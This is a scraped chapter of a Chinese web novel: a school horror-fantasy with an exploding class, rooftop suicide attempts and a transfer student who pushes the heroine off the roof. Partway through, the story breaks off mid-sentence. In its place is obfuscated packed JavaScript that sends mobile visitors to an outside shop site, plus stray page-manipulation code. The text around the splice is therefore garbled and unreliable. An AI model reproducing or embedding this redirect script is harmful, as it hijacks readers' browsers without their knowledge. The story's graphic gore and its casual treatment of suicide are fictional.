文趣网 > 其他小说 > 人外异端也要演一集吗? > 11. 天生坏种
    上午正是学生们最困的时候。

    陈双梦昨晚睡得挺好,似乎还做了一个置身于绿野的梦,梦里有数不清的藤蔓和浅淡芳香。

    不过,藤蔓好像不愿意跟她玩,很快就不见了。这让她有点沮丧。

    周围的哈欠声此起彼伏,就连平日最刻苦的学生也垂下了脑袋。

    陈双梦托着腮看向窗外。

    周盈没来上课,她就自己坐到了最后一排的角落,因为这个位置视野最好,可以清晰看到操场上一圈圈奔跑不停的学生。

    这都九点多了,天色还跟傍晚似的,灰蒙蒙的,昏沉而压抑,有种要下雨又始终不下的感觉。

    对面的教学楼隐没在雾中,一扇扇窗口像盯着她的眼睛。

    “叮铃铃……”

    新一轮的上课铃声叫醒了不情不愿的学生们。

    这节是班主任的语文课,于萝推开了教室门,身后还跟着一名陌生少年。

    阴凉的晨风卷进来,教室气氛微妙一滞。

    所有人都抬起头,诧异地望着讲台上那名清隽矜贵的少年。

    他太格格不入了。

    深桂市是个不大不小的城,跟帝都、上九城、核心区那些地方比不来,地理位置也偏外围,唯一值得称道的便是民风淳朴,平和宁静。

    而少年衣着得体,贵气从容,往讲台边一站,不像是来上学,更像是参加帝都晚宴的年少贵公子。

    不知道为何,在这间教室看到他,会感到一种微妙的奇异和不适。

    班主任的介绍很简短:“这是新来的转学生,衡楚。”

    底下应景地响起一阵低低的惊呼。

    “这谁啊,看着像个有钱人。帝都的吗?”

    “有钱人来咱们学校?”

    “还长这么好看。我做梦都不敢梦这种离谱情节。”

    于萝状态似乎有些紧绷,草草说了两句后,就让他自己选位置。

    班里人下意识关注着转学生的举动,而他的目光落在了角落的陈双梦身上。

    陈双梦恍然未觉。

    她只在最开始瞥了一眼就收回了视线,此时正托腮看着窗外的跑操队伍。

    楚珩笑了笑,从讲台上走下来,步伐不紧不慢,很随意,又很笃定,停在了陈双梦旁边。

    “我坐这里吧。”

    少年的声音清如冷玉,却似乎带着点说不清道不明的亲昵。

    陈双梦诧异:“这里吗?”

    不知道为什么,班里似乎更静了,四面八方的同学齐齐转过脸,直勾勾地盯着陈双梦。

    探究的、惊讶的、茫然的……一双双漆黑的瞳孔如一面面镜子,倒映出她的模样。

    仿佛所有人终于在这一刻意识到,这个班里还有陈双梦这么一号人。

    ——她是谁,她什么时候来的,她为什么会在这里……

    时间仿佛凝固了,那些瞳孔犹如一个个空洞的渊洞,把陈双梦的影子封存在内。

    楚珩打破了这寂静。

    他态度随意得近乎散漫,在她身边坐了下来:“以后就是同桌了。”

    陈双梦眨眨眼睛,那些封存在瞳孔里的“她”也都眨了眨眼睛,如蝴蝶轻轻扇动翅膀,班级在这一刹那活泛起来。

    同学们笑闹成一片。有人好奇地讨论新同学的来历,有人充耳不闻只想赶快上课,有人夸张地说陈双梦这个平日默默无闻的女生跟新同学是什么关系。

    欢声笑语,吵吵闹闹。是稀疏平常的一天,是寻常日子里的一个小插曲。

    笑闹声中,全班轰一声炸开。

    真的炸了。

    一颗颗脑袋像熟透的西瓜一样爆开,温热的、黏腻的、带着铁锈味的东西四溅开来。

    血肉模糊,尸块横飞。视线所及覆上一层鲜艳的血红色,几颗眼球掉在陈双梦的桌上。

    陈双梦:“???”

    怎么真炸了?

    不对不对,她看短剧里路人震惊的名场面不是这样演的!

    她苦恼地低头看看摊开的卷子,想了想,拿出手机点开某红色软件,发了篇求助。

    《快高考了,但全班都炸了,怎么办呀?》

    唉,真是让人苦恼。老师同学都炸了,血肉模糊一片很影响听课的,他们不学她还学呢!

    楚珩脸色未变,刚刚血肉飞溅的时候还不忘拿书挡一下,似乎早有预料。

    满室血污,唯有他和陈双梦那一方地盘干干净净,与周边的一切隔离开来。

    ——下一刻,一切又都恢复原样。

    于萝的断臂接回身体,她转过身在黑板上写下今天的授课内容;前桌的脑浆飞进头颅,他晃了晃头,拿出昨天布置的作业。

    仿佛刚才血肉炸开的一幕只是一场转瞬即逝的噩梦。有什么东西短暂剥开了这间教室的表皮,露出底下黏腻的、浑浊的、血腥的底色。

    然后若无其事地遮掩了过去,好像一切都没发生过。

    陈双梦想了想,低下头,编辑《全班都炸了》的帖子内容——【不用了,老师同学又都自己拼回来了。谢谢大家呀。】

    正准备大干一场的评论区网友:?

    陈双梦收起手机,环视了教室一周。

    她觉得,她的校园生活,大概、也许、可能是有那么一点不正常。

    她有点苦恼地蹙眉,思索着校园生活到底哪里不正常,忽然想起什么,扭头看向新同桌。

    楚珩单手支腮,笑意盈盈地看着她,也不知这样看了多久。

    碰到双梦的视线后,他弯了弯唇,漂亮眼睛里笑意更加潋滟,问:“还记得我的名字吗?”

    双梦摇摇头。

    她不太记人名字呢。

    楚珩也不意外,示意她伸出手,掌心朝上。然后,他拉起她的手,用食指一笔一划地,从右往左轻轻写,衡,楚。

    双梦觉得手心有点痒,又有点凉。

    写完,他放开她的手,依旧托着腮,笑吟吟地看着她。

    双梦跟他对视一会儿,礼尚往来,也拉过他的手,掌心朝上。

    她的手指在他掌心比划了一下,学着他的样子写字。

    她的姿势有点奇怪,像第一次用手指写字,僵硬而笨拙,一笔一划,慢慢吞吞。

    触感是柔软的、轻盈的,冰凉的。

    ——双、梦。

    只有这两个字,没有姓。

    少年楚珩低头看着自己的掌心,慢慢收拢五指,把她的名字攥进手心。

    他一边体会着她带来的奇妙余韵,一边感受到胸腔里涌动的火焰,有些嘲讽地想,外面的某人要被气死了。

    “愤怒”的情绪对任何时期的楚珩来说都十分少见,十六岁的楚珩想让这把火烧得更旺些。

    陈双梦低下头抄卷子,昨晚齐凌欢没有给她写作业,她要赶在每节课前补上才行。

    她奋笔抄着数学作业,听到新同桌懒洋洋喊她名字。

    “双梦。”

    双梦抬起头:“嗯?”

    楚珩望着少女,眼神带了点探究的兴味,像是在观察一件好不容易得到的新玩具。

    “人类的皮囊。”他说。

    然后,他伸出手指,在她脸蛋上轻轻戳了一下,“还挺软。”

    双梦懵了:“干嘛?”

    楚珩笑起来,又戳了一下。指尖陷进她柔软的脸颊,微微泛红。

    这都不生气吗?

    还是说,还没到她的生气阈值?

    他力道渐渐加深。

    双梦终于有反应了,拍开他的手,揉了揉脸颊,语气微愠:“不许再戳了。我跟你不熟。”

    楚珩怔了一下,随即低低笑出了声。

    他长得极好看,笑起来也是,眼尾微挑,带了点清艳的味道。

    “熟了就能戳了吗?”

    双梦觉得他好莫名其妙,微微偏过脸,带着点抗拒:“不可以。”

    楚珩笑意收敛了。

    他问:“那怎么样才可以?”

    双梦没理他,低头写作业。片刻后忽然问了句:“班里有几个人?”

    下课铃响起来。

    叮铃铃的喧声中,楚珩说:“五十一个。”

    ……

    天台的铁门平时锁着,今天却开了。

    天台空旷、陈旧,四周围着一圈生锈的矮栏杆,灰扑扑的水泥地面裂了一条条的裂痕,角落里堆着几张老旧的课桌椅和扫把水桶。

    陈双梦是跟着程思远上来的。

    他总是借她抄作业,还会在她来不及的时候帮她抄一份。所以当他来天台时,她也跟了上去。

    可能是因为门锁开了的缘故,天台比她想象得热闹。

    几组学生三三五五地分散,角落里一伙红橙黄绿毛围着一个低头不语的男生,推推搡搡,嘴里不干不净。

    不远处,一个矮个子女生面对着高个子男生,手指绞着校服下摆,嘴唇动了动,像是鼓足了毕生的勇气,像要说着什么重要的话。

    两人没注意到,旁边有个女生正犹豫要不要跨过栏杆,但听到八卦后,伸出去的脚收了回来,伸长耳朵偷听。

    “霸凌、表白、自杀……你们学校天台挺热闹。”

    陈双梦身后传来熟悉声音道,回头一看,楚珩不知何时也跟了上来。双手插在风衣的兜里,仿佛是来天台散步吹风的。

    陈双梦纠正:”不是‘你们’,是‘我们’。”

    楚珩像是听到了什么爱听的话,唇角弯了弯:“好,‘我们’。”

    ——啊,他又在生气了。

    没办法,谁让他来不了振阳——柏兰一高呢。

    陈双梦还记得自己来找程思远,目光转一圈,看到了他。

    程思远站在了天台边缘,背对着所有人,望着远处灰白色的天际线,风吹得他校服衣摆猎猎作响。

    “程思远!”

    陈双梦生气地冲他喊了一声:“你怎么又跳啊,我们还没查清楚失踪同学的事呢,不许跳!”

    女孩子的声音清脆甜美,带了点不高兴的抱怨。

    程思远是个性子温吞的老好人,一听见她生气了,就老老实实地下来,跟她道歉:“对不起,我忘了。那我这次不跳了。”

    陈双梦想了想,大度地原谅他:“没关系。这次就算了,下次……”

    眼角余光忽瞥见一道飞快的身影,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17838382|211555||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她的话一下子停住。

    所有人都停住,瞠目结舌地看着前方。

    因为有个男生翻过半人高的铁栏杆,站在了

    不足一掌宽的天台外沿上。

    “他要跳楼!”

    这一声不知是谁喊出来的。接着天台就乱成一团。有人急着往前冲,想劝又不知道该怎么开口;有人立刻掏出手机拍视频,脸上带着兴奋;还有人小声嘀咕:“他跳下去,我们是不是就能放假了?”

    男生没有立刻跳,他低头看了一眼楼下,脸色一下子煞白。

    他哆哆嗦嗦地扶着身后生锈的栏杆,整个人被风吹得微微摇晃。

    有人大着胆子喊他下来,却起了反作用,他险些失手滑下去。所以没人敢说话了,生怕刺激他。

    很快,楼下众人也发现天台摇摇欲坠的身影,一个个仰起脖子往上看,大声喊着什么。抽气声和尖叫隔着八楼的高度传来,听不真切。

    天台陷入一片惴惴不安的沉默。陈双梦没说话,她不知道这种场合该说些什么。

    楚珩倒是放松得很。他单手插兜,另一只手指向楼下,声音清凌凌,仿佛很正经:“看到下面的水泥地了吗?”

    陈双梦低头顺着他指的方向看去,那块水泥地躺过好几具尸体,“怎么了?”

    “那边其实有扇门哦。”楚珩俯身凑近她耳边,语气带了点莫名的恶劣,“你知这扇门究竟是什么吗?”

    双梦偏头看他。

    他笑了一下,丝毫不掩饰混蛋本性:“去往二次元的通道。”

    陈双梦:“……”

    即使是她,也知道这种时候不适合幸灾乐祸,更遑论火上浇油。

    好没人性。

    但有点意思。

    楚珩看着她的表情,笑出了声。

    陈双梦不理他,扭过脸看向程思远,努力学习他的表情,把刚才扣掉的功德攒回来。

    又过了会儿,天台的僵局终于被打破。

    一个男生从人群里挤出来,慢慢走到离那个跳楼者两米远的地方,没再靠近,微微半蹲,手扶着膝盖,以一种无害又随意的语气开了口:

    “兄弟,聊两句呗?”

    他语气带着一股子蓬勃的生机,一听就让人心生好感。所以跳楼者回过了头。他好像已经很久没跟人好好说过话了,张了张嘴,发出沙哑的声音。

    “聊什么?”

    那男生有股被阳光晒透了似的亲和,一笑就露出虎牙:“什么都行啊,你想聊什么?”

    跳楼者没说话,虎牙男生就主动聊,天南海北地聊。聊食堂的炸酱面很难吃,聊最近的热门剧,聊他打游戏连跪五把。

    “你玩游戏吗,想玩的话咱俩加个好友,有空我带你呗。”

    天台上回荡他一个人喋喋不休的声音,围观者屏住呼吸等待着。

    终于,跳楼者的神色松动了。虎牙男生一步步走过去,向他伸出手。

    跳楼者慢慢把手放上去。

    说时迟那时快,男生攥紧他手腕猛的一拉,一鼓作气把他拽进来,两人一起摔在地上。

    楼下爆发山呼海啸的欢呼声。

    天台的人赶紧凑上去扶起他俩。几个老师紧紧扶住跳楼男生的肩膀,仿佛攥紧了失而复得的教资。

    虎牙男生站起来,拍拍衣服上的灰,冲大家笑笑:“没事了。”

    一场闹剧有惊无险。楼上楼下的领导们擦擦额上的汗,挥手轰学生回教室,学生们的兴奋劲还没过,说说笑笑往教室走去。

    大家都以为这件事结束了。

    ——然后虎牙男生冲过去翻过栏杆,跳了下去。

    没人看清他是怎么翻过去的,他动作快得像被卷起的一阵风,天台上的尖叫声在半秒后才爆出来。

    天台顷刻乱成一团,有人表情空白没意识到发生了什么,有人歇斯底里地喊“快拦他”。

    栏杆剧烈摇晃。

    千钧一发之际,陈双梦拉住了他。

    她不知道自己是怎么冲到栏杆边的,因为身体比脑子先动,等反应过来的时候,就已经拽住了那男生的手腕。

    虎牙男生悬在楼外,双脚凌空,身下是二十多米的高空。命悬一线,他眼神却很平静和温柔,微微笑起来,露出虎牙。

    “放手吧,栏杆快撑不住了。”

    整个过程发生得太快,其他人根本没法及时冲过来,陈双梦整个人已经被拖得向前倾去,栏杆发出不堪重负的呻吟。

    双梦眨眨眼睛,忽然想起,她一个人,大概拉不动他?

    “衡楚——”

    她喊了离自己最近的人。

    楚珩懒洋洋应了声,走过来,伸出手。

    那只手扣住了她的后背,力道不轻不重,冰凉的温度透过薄薄一层校服布料传过来。

    接着,那只手向前一送。

    陈双梦只来得及看见他带笑的眼睛。

    紧接着是倒悬的视野,一刹那变得血红的天空,和耳边呼啸凄厉的风声。

    十六岁的少年楚珩还难以压制心中蠢蠢欲动的恶。不太会掩饰也懒得掩饰,恶劣、张狂,天生坏种。

    ——他把陈双梦推了下去。